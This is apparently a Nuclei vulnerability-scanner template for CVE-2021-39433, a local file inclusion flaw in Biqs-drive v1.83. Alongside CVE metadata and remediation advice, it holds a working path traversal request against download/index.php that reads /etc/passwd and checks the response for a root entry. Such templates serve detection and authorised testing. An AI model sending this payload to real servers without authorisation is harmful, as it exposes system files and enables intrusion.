id: CVE-2021-39433

info:
  name: BIQS IT Biqs-drive v1.83 Local File Inclusion
  author: Veshraj
  severity: high
  description: A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
  reference:
    - https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
    - https://biqs-drive.be/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39433
    epss-score: 0.82461
    epss-percentile: 0.99247
    cpe: cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: biqs
    product: biqsdrive
  tags: cve2021,cve,lfi,biqsdrive,biqs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022060a3fb206c14d9855d6ed7a551e151294c3722a3c97123c6ece28e4615106b25022024f5a0a96df9ce0d18cc0a4c6d63788d62e8437437ae0ada241c08655498c2c1:922c64590222798bb761d5b6d8e72950